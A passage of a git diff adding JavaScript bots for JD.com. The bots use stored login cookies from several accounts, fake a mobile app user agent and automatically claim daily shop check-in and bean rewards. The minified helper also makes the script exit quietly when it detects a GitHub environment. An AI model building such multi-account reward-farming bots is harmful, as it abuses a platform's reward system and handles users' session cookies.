Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shop.js b/jd_shop.js new file mode 100644 index 0000000..a5966c4 --- /dev/null +++ b/jd_shop.js @@ -0,0 +1,219 @@ +/* +进店领豆,每天可拿四京豆 +活动入口:京东APP首页-领京豆-进店领豆 +更新时间:2020-11-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#进店领豆 +10 0 * * * jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true +================Loon============ +[Script] +cron "10 0 * * *" script-path=jd_shop.js,tag=进店领豆 +==============Surge=============== +[Script] +进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_shop.js +*/ +const $ = new Env('进店领豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; + +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jdShop(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdShop() { + const taskData = await getTask(); + if (taskData.code === '0') { + if (!taskData.data.taskList) { + console.log(`${taskData.data.taskErrorTips}\n`); + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n${taskData.data.taskErrorTips}`); + } else { + const { taskList } = taskData.data; + let beanCount = 0; + for (let item of taskList) { + if (item.taskStatus === 3) { + console.log(`${item.shopName} 已拿到2京豆\n`) + } else { + console.log(`taskId::${item.taskId}`) + const doTaskRes = await doTask(item.taskId); + if (doTaskRes.code === '0') { + beanCount += 2; + } + } + } + console.log(`beanCount::${beanCount}`); + if (beanCount > 0) { + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n成功领取${beanCount}京豆`); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + } + } + } +} +function doTask(taskId) { + console.log(`doTask-taskId::${taskId}`) + return new Promise(resolve => { + const body = { 'taskId': `${taskId}` }; + const options = { + url: `${JD_API_HOST}`, + body: `functionId=takeTask&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getTask(body = {}) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}`, + body: `functionId=queryTaskIndex&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_shop_sign.js b/jd_shop_sign.js new file mode 100644 index 0000000..4e61094 --- /dev/null +++ b/jd_shop_sign.js @@ -0,0 +1,358 @@ +/* +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +0 0 * * * jd_shop_sign.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + // "2A8794EC8DA4659DDDA0DF0E1A2AF4AF", + // "A1E0F96C1D9DB38AE87202E13CE1FD1F", + // "6D180D5A0B6F4A210684757B0DAC6A38", + // "6FF6A61279897029F4DE69C341551CFC", + // "0FCE1975D7A168F5BE2DE89BF2AA784D", + // "9E2F2B62044E1AC059180A38BE06507D", + // "C96A69334CA12BCA81DE74335AC1B35E", + // "A406C4990D5C50702D8C425A03F8076E", + // "E0AB41AAE21BD9CA8E35CC0B9AA92FA7", + // "A20223553DF12E06C7644A1BD67314B6", + // "9621D787095D0030BE681B535F8499BE", + // "C718DA981DBB8CF73FAC7D5480733B43", + // "77A6C7B5C2BC9175521931ADE8E3B2E0", + // "5BEFC891C256D515C4F0F94F15989055", + // "B1482DB6CB72FBF33FFC90B2AB53D32C", + // "225A5186B854F5D0A36B5257BAA98739", + // "9115177F9D949CFB76D0DE6B8FC9D621", + // "AD73E1D98C83593E22802600D5F72B9B", + // "447EA174AB8181DD52EFDECEB4E59F16", + // "32204A01054F3D8F9A1DF5E5CFB4E7F4", + // "6B52B6FDF119B68A42349EEF6CEEC4FF" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: 